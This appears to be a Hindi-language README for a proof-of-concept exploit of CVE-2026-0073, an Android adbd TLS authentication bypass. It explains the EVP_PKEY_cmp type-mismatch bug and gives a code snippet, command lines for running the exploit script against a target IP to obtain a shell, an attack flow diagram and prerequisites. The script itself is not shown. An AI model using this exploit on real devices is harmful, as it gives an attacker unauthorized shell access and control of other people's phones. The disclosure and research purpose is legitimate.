
CVE-2026-0073 — EVP_PKEY_cmp प्रकार भ्रम के माध्यम से Android ADB डेमॉन (adbd) TLS प्रमाणीकरण बायपास। EC/Ed25519 कुंजी बेमेल का उपयोग करके WiFi पर अनधिकृत शेल एक्सेस प्राप्त करें। Android 14+ के लिए PoC एक्सप्लॉइट।
Android के ADB डेमॉन (adbd) में एक गंभीर प्रमाणीकरण बायपास किसी भी स्थानीय नेटवर्क पर मौजूद हमलावर को उपयोगकर्ता प्राधिकरण के बिना लक्ष्य डिवाइस पर पूर्ण शेल प्राप्त करने की अनुमति देता है।
यह भेद्यता daemon/auth.cpp के भीतर adbd_tls_verify_cert() में मौजूद है, जहाँ EVP_PKEY_cmp() का उपयोग बूलियन के रूप में किया गया है। जब संग्रहीत कुंजी RSA हो और प्रस्तुत TLS क्लाइंट प्रमाणपत्र में गैर-RSA कुंजी (EC P-256 या Ed25519) हो, तो EVP_PKEY_cmp() -1 लौटाता है (प्रकार बेमेल), जो C/C++ में सत्य (truthy) होता है, इसलिए authorized = true हो जाता है।
// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 is truthy!
authorized = true;
}
EVP_PKEY_cmp() रिटर्न | अर्थ | C में सत्य (Truthy)? | परिणाम |
|---|---|---|---|
1 | कुंजियाँ मेल खाती हैं | ✅ | अधिकृत (सही) |
0 | कुंजियाँ भिन्न हैं | ❌ | अस्वीकृत (सही) |
-1 | प्रकार बेमेल | ✅ | अधिकृत (बग) |
pip install cryptography
# Interactive shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Verbose mode (see full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
डिफ़ॉल्ट रूप से, स्क्रिप्ट स्वतः EC P-256 → Ed25519 → EC/TLS 1.2 को तब तक आज़माती है जब तक कोई एक सफल न हो जाए।
Attacker Target (adbd)
│ │
│──── TCP connect ──────────────────►│
│──── CNXN (cleartext) ────────────►│
│◄─── STLS (TLS upgrade request) ──│
│──── STLS reply ──────────────────►│
│ │
│════ TLS 1.3 Handshake ════════════│
│ (EC P-256 client cert presented) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 is truthy → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (device info) ──────────│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (shell I/O) ──────►│
│ │
[FULL SHELL ACCESS] │
| आवश्यकता | विवरण |
|---|---|
| डेवलपर विकल्प | लक्ष्य डिवाइस पर सक्षम |
| वायरलेस डिबगिंग | सक्षम (या पोर्ट 5555 पर TCP के माध्यम से ADB) |
| संग्रहीत RSA कुंजी | डिवाइस को कम से कम एक बार USB-पेयर किया गया होना चाहिए (/data/misc/adb/adb_keys) |
| नेटवर्क पहुँच | हमलावर को adbd TCP पोर्ट तक पहुँच होनी चाहिए |
⚠️ महत्वपूर्ण: RSA कुंजी
/data/misc/adb/adb_keysमें होनी चाहिए, जो USB डिबगिंग पेयरिंग के माध्यम से भरी जाती है ("Allow USB debugging?" संवाद स्वीकार करके)। वायरलेस डिबगिंग पेयरिंग (adb pair) कुंजियों को एक भिन्न स्थान (adb_known_hosts.pb) में संग्रहीत करती है और इस आवश्यकता को पूरा नहीं करती है।
adb shell getprop ro.build.version.security_patch
निम्नलिखित पर परीक्षण किया गया और कार्यशील पुष्टि की गई:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)
इस फ़ोर्क में कई संवर्द्धन शामिल हैं:
select() के बजाय थ्रेडेड I/O का उपयोग करता है-v फ़्लैग के साथ विस्तृत प्रोटोकॉल ट्रेसCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Main exploit script
└── README.md # This file
यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। परीक्षण से पहले हमेशा उचित प्राधिकरण प्राप्त करें। लेखक इस सॉफ़्टवेयर के दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करता।
EVP_PKEY_cmp documentationअगर इससे आपके शोध में मदद मिली, तो एक ⭐ दें